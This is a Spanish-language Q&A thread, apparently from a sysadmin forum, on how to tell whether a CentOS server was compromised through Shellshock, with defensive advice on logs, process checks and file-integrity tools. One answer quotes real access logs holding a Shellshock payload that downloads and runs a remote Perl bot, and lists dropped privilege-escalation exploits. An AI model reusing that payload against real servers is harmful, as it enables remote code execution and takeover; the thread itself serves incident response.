Shellshock: ¿Cómo sé si mi servidor está comprometido + archivos sospechosos a tener en cuenta?

18

Tres preguntas que espero que alguien pueda ayudar a responder:

  1. ¿Cómo sé si mi servidor ya está comprometido debido al error Shellshock?
  2. Si se vio comprometido, ¿hay una carpeta en particular donde debería buscar archivos maliciosos?
  3. ¿Cómo se ve un archivo malicioso?

Estoy ejecutando CentOS 6, pila LEMP

Tejón de miel
fuente

Respuestas:

36

¿Cómo sé si mi servidor ya está comprometido debido al error Shellshock?

Usted no Esa es la idea de una vulnerabilidad de seguridad. Si tuviera que hacer clic en ¿ Dejar entrar las galletas? OK / Cancelar no sería una gran vulnerabilidad.

Es posible que tengas suerte comprobando los registros de tus vectores de ataque, pero dado que tantos servicios son vulnerables y no todos registran cada acceso, es probable que no sea posible encontrar un ataque de manera concluyente.

Si se vio comprometido, ¿hay una carpeta en particular donde debería buscar archivos maliciosos?

No, un archivo malicioso podría estar en cualquier lugar.

Rootkits comunes se instalan en /rooto /o /tmpo uno de los caminos binarios, pero en realidad podrían estar en cualquier parte. Pueden tener un nombre similar a un servicio real o algo "importante" que se parezca a " IPTables" o " kernel-bin", pero también pueden ser cadenas de caracteres al azar o el mismo nombre que un binario genuino (solo en una ruta diferente). Puede detectar un rootkit realmente obvio cargando /etc/rc.localo haciendo conexiones a través de netstat -neopa. Busque nombres de procesos sospechosos en top -c.

Un rootkit menos común y mucho más difícil de encontrar reemplaza una biblioteca o se carga a sí mismo como una biblioteca shim e intercepta las llamadas del sistema. Esto es casi imposible de encontrar a menos que coloque / trace cada cosa que se ejecute en su sistema y compare el comportamiento con el comportamiento esperado de un sistema o código fuente bien conocido.

Sería más rápido, más fácil y más concluyente volver a cargar el sistema.

¿Cómo se ve un archivo malicioso?

Probablemente como cualquier otro binario o biblioteca ELF regular. También puede ser un guión.

En conclusión, si cree que existe la posibilidad de que su sistema se haya visto comprometido, trátelo como si se hubiera visto comprometido y tome las medidas necesarias.

suprjami
fuente
14
+1 "¿Dejar entrar las galletas?" En otra nota ... si ve algo llamado "IPTables" en Linux, sospeche mucho . UNIXian es CapsPhobic.
obispo
Si cree que existe la posibilidad de que su sistema se haya visto comprometido, trátelo como si se hubiera visto comprometido y tome las medidas necesarias. Esto significa todos los sistemas posibles que se han bashinstalado y un cable de red conectado, ¿verdad?
Federico Poloni
@FedericoPoloni Solo si alguien puede acceder a su shell a través de la red. Pero por lo demás tienes toda la razón.
scai 01 de
@FedericoPoloni No estoy seguro si esa es una buena elección, porque tendría que tener constantemente todos los sistemas caídos, ya que nunca puedo estar 100% seguro de que no se vieron comprometidos, y en serio nadie puede estar seguro de que sus sistemas no se vieron comprometidos a menos que son un idiota muy optimista. Si sospecha que su sistema no se comporta como debería, debe examinarlo y su tráfico de red, preferiblemente desde un SO LIMPIO. Si no encuentra evidencia de manipulación, no tiene que tomar medidas además de arreglar los agujeros. De lo contrario, tendríamos que reinstalar constantemente TODOS los sistemas 24x7.
Frank Waller
@ FrankWaller Estoy completamente de acuerdo. Siempre existe la posibilidad remota de que un sistema se haya visto comprometido y el atacante sea lo suficientemente hábil como para no dejar rastro, pero no podemos reinstalar 24x7 para atender este caso.
Federico Poloni
21

shellshock no es un gusano, por lo que no hay archivos que buscar. Shellshock es una forma de atacar una red para obtener acceso. Una vez dentro, quién sabe lo que hará el atacante.

Miguel
fuente
3
Esta respuesta me parece un poco confusa, tal vez se apresuró rápidamente, o debería ser un comentario en lugar de una respuesta. Claro, no es un gusano (es una vulnerabilidad, no una pieza de malware), pero no está claro por qué cree que es relevante o por qué eso significa "no hay archivos que buscar". Shellshock no es una forma de atacar una red; Es una forma de entrar en una máquina. Es un ataque a una máquina, no a una red.
DW
2
@DW Concedido muy sucinto, pero claramente en respuesta directa a la preocupación del OP is there a particular folder where I should look for malicious files.
ᴠɪɴᴄᴇɴᴛ
5

He visto un intento de explotar el error, que instalaría un bot IRC como /var/tmp/x. Pero, en general, no hay archivos particulares para buscar, ya que podrían estar en cualquier lugar o en ninguna parte.

Si se ve comprometido a través del servidor web, cualquier nuevo archivo o proceso propiedad del usuario del servidor web sería sospechoso.

En caso de que un atacante usara primero el basherror para ingresar al sistema y luego una vulnerabilidad local para convertirse root, podría ser casi imposible detectarlo.

También mira esta pregunta similar .

kasperd
fuente
+1 para la idea de propiedad del usuario del servidor web
Xan
4

Me gustaría hacerme eco de la respuesta de suprjami y decir que si su sistema es vulnerable, entonces debería tratarlo como comprometido.

Si está ejecutando Apache, puede verificar los registros de intentos de intrusión de Shellshock con el siguiente comando:

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

Este comando extrae todas las líneas que contienen "cgi" de los registros de acceso de Apache (por defecto llamados access_log, access_log.1, access_log.2, etc.) y luego lo canaliza a egrep con la expresión regular.

(Fuente: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )

Ralph
fuente
Tenga en cuenta que para una configuración predeterminada de Apache, esto solo mostrará ataques en la URL de destino y en los encabezados "User-Agent" y "Referer". No se registrará un ataque en un encabezado como "Cookie" o "X-Ploit".
Mark
1
@ Mark Absolutamente, debería haber mencionado eso.
Ralph
1
Por supuesto, lo primero que haría cualquier atacante que se respetara a sí mismo es borrar cualquier pista del ataque de los registros ... ¡por eso los registros deben ser de escritura única y remotos!
Jörg W Mittag
4

Dado que hay varios vectores de ataque para Shellshock, algunos de ellos aún desconocidos para el público en general o causados ​​por un script CGI personalizado, no hay una forma definitiva de saber si está comprometido o no.

Además del enfoque habitual "veamos si algunos archivos del sistema han cambiado o si ha sucedido algo sospechoso últimamente", es posible que desee vigilar el comportamiento de su servidor.

  1. ¿De repente hay mucho más tráfico de red?
  2. ¿El uso de la CPU / memoria cambió mucho?
  3. ¿Algo está consumiendo el espacio del disco o está causando más E / S mucho más de lo normal?
  4. ¿ netstatMuestra conexiones de red extrañas o ps auxmuestra procesos que no reconoce?
  5. ¿Su servidor de repente envía mucho más correo electrónico que antes?

Si tiene una supervisión adecuada del estado del servidor (como Zabbix) en funcionamiento, también puede ayudarlo a descubrir violaciones de seguridad. También puede comparar las sumas MD5 / SHA de los archivos del sistema con una buena copia de seguridad conocida.

Básicamente, actúa como si tu servidor se hubiera visto comprometido e investiga todo lo que puedas imaginar.

Janne Pikkarainen
fuente
4

Acabo de tener el placer de limpiar un viejo sistema Plesk comprometido. Lo primero que lo delató fueron numerosos procesos que comenzaron a escuchar una serie de puertos y otros que intentaban descargar código del servidor de escaneo original.

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

Siguiendo los registros, descubrí que el último agujero era un cgi_wrapperguión, algo que se suponía que debía proteger y proteger el sistema es lo que realmente rompió el agujero en la protección. Estas son algunas de las líneas de registro de las sondas y el ataque exitoso:

Estas son las líneas de access_log, ya que esto es solo una muestra, tenga en cuenta el 200 en dos de las líneas, mientras que las otras fallan con 404. No tiene que preocuparse por las líneas que tienen un 404 ya que no tuvieron éxito, los que tienen 200 sin embargo lo hicieron. El patrón en estos ataques aquí es siempre el mismo: 1. encuentre un script cgi vulnerable, use el exploit shellshock para descargar y ejecutar un script perl, elimine el script perl nuevamente. El script perl en realidad descargará algunos archivos fuente (tgz), los compilará y los ejecutará, por lo que he visto incluyen al menos una puerta trasera y un mecanismo de actualización automática, además de lo que parecen exploits para tratar de obtener privilegios de ejecución elevados. Todos los scripts iniciales se ejecutan realmente como el usuario proporcionado por el reiniciador, mientras que los servicios posteriores se inician con un PPID de 1 (iniciado desde el proceso raíz).

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

Y aquí las líneas correspondientes de error_log:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

Archivos descargados a / tmp Como se podría adivinar, no tengo el archivo bot.pl ya que se elimina de inmediato.

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

Después de un tiempo noté conexiones ssh desde varios lugares como China que generalmente no visitan tanto nuestro servidor. Parcheé bash como medida de emergencia (hubiera sido bueno tener fuentes parcheadas disponibles en el sitio web de FSF y no solo las fuentes y archivos de parches realmente ANTIGUOS (uno de los cuales no se aplicó correctamente al principio). El sistema está programado para un completo limpie ahora, así que si alguien está buscando algo más sobre el ataque, puede preguntar, pero hágalo pronto.

Frank Waller
fuente
3

Esta respuesta no está especialmente relacionada con Shellshock, pero para cualquier sistema que pueda considerar comprometido

segunda nota: no puede estar seguro de haberse recuperado de un sistema comprometido a raíz. Su única acción es destruir y reaprovisionar el sistema.

Intente obtener una compilación estática limpia rpmy ejecutar el comando rpm --verify --all. Le dirá qué archivos que pertenecen a un paquete se han modificado. Pero como puede ejecutarlo en un sistema comprometido, es posible que no confíe completamente en el resultado. Luego, simplemente puede hacer una rpm -qapara obtener la lista de paquetes, recrear otro sistema con las mismas versiones de paquetes y luego un find / -type f |xargs -r -n 100 md5sum |sorten ambos sistemas y ver qué difiere. Además, si administra su sistema correctamente (es decir, no instala nada manualmente fuera de / opt o / usr / local / bin u otro lugar no administrado), puede buscar todos los archivos en su sistema que no pertenecen a un paquete, con find / -type f -exec rpm -qf {} \;. Debería mostrar errores para archivos desconocidos. Te dejo no mostrar los aspectos positivos como un ejercicio ;-)

Para hacer lo mismo periódicamente con la prueba criptográfica, hay una herramienta llamada Tripwireque todavía puede encontrar como versión gratuita. Es viejo pero hace su trabajo. Una alternativa más nueva es AIDE, pero no estaba usando cripto cuando lo miré hace años.

